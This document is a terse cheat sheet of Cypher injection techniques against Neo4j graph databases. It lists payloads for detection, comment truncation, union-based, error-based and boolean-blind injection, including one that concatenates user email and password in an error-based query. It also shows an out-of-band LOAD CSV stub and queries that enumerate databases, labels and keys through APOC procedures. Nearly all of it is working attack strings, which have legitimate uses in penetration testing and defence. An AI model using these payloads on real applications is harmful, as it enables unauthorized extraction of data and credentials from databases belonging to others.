Neo4J uses a Cipher Query Language
- https://neo4j.com/developer/cypher/
- Cypher is a declarative graph query language that allows for expressive and efficient data querying in a property graph.
- Not a lot of public data about Cipher Injection
The Basics
Match (m:Movie) where m.released > 2000 RETURN m ORDER BY blah
Match (m:Movie) where m.released > 2000 RETURN m LIMIT 2
Match (m:Movie) where m.title = "The Matrix Reloaded" return m
Detection
Use apostrophe, double quotes or using the table name (appending a dot (.))
MATCH (a:Movie {title: 'Johnny 'Mnemonic'}) RETURN a
Error: Invalid input 'Mnemonic': expected
Commenting
MATCH (a:Movie {title: 'Johnny 'Mnemonic'})
RETURN a
Invalid input 'Mnemonic': expected
…
(line 1, column 33 (offset: 32))
"MATCH (a:Movie {title: 'Johnny 'Mnemonic'})"
.
MATCH (a:Movie {title: 'Johnny '}) //Mnemonic'})
RETURN a
Injections
STANDARD
Match (m:Movie) where m.title = "The Matrix '"Reloaded" return m
Match (m:Movie) where m.title = "The Matrix " or 1=1 return "123"//Reloaded" return m
UNION-BASED
Match (m:Movie) where m.title = "The Matrix " or 1=0 return "123" UNION MATCH (a) return a //Reloaded" return m (complains that columns don't match)
Match (m:Movie) where m.title = "The Matrix " or 1=0 return "123" as b UNION MATCH (a:Actor) return a.name as b //Reloaded" return m (same columns)
Match (n:movie) RETURN n LIMIT 25 union all match (b:sysinfo) return b
## Need to inject RETURN otherwise will generally fail
ERROR-BASED
Match (m:Movie) where m.released > 2000 RETURN m ORDER BY [User-inject]
Match (m:Movie) where m.released > 2000 RETURN m ORDER BY date(user.email+user.password)
## Concatenation uses a plus
BOOLEAN-BASED BLIND
Match (m:Movie) where m.released > 2000 and 1=1 RETURN m
Match (a) where a.title = 'injected' return 1 as test union match (b:Person) return substring(keys(b)[0],0,1) as test//'
TIME-BASED
Hard to do
DETECTION
MATCH (a:Movie {title: 'Johnny Mnenomic'})
OUT-OF-BAND
LOAD CSV FROM 'LOCATION.csv' AS line
CREATE (:Artist {name: line[1], year: toInteger(line[2]})
DATABASES
CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN row.name as dbName;
# Injectable
match (a) where 1 < 2 CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN row.name as dbName;
TABLES
match(a) return distinct labels(a)
# Not knowing table names
match (b:Person) where b.name = '' return size("123") as test union match (a) return size(keys(a)) as test limit 1
## Use size() to determine the count of entries in table
LABELS (TABLES)
Match (a) return distinct labels(a)
## Substring used for individual characters
COLUMNS
# Number of columns
match (a) return size(keys(a)) limit 1
# Length of column
match (a) where a.title = '' or 4 = size('1234') return a limit 1
# Length of first column:
match (a) return size(keys(a)[0]) limit 1
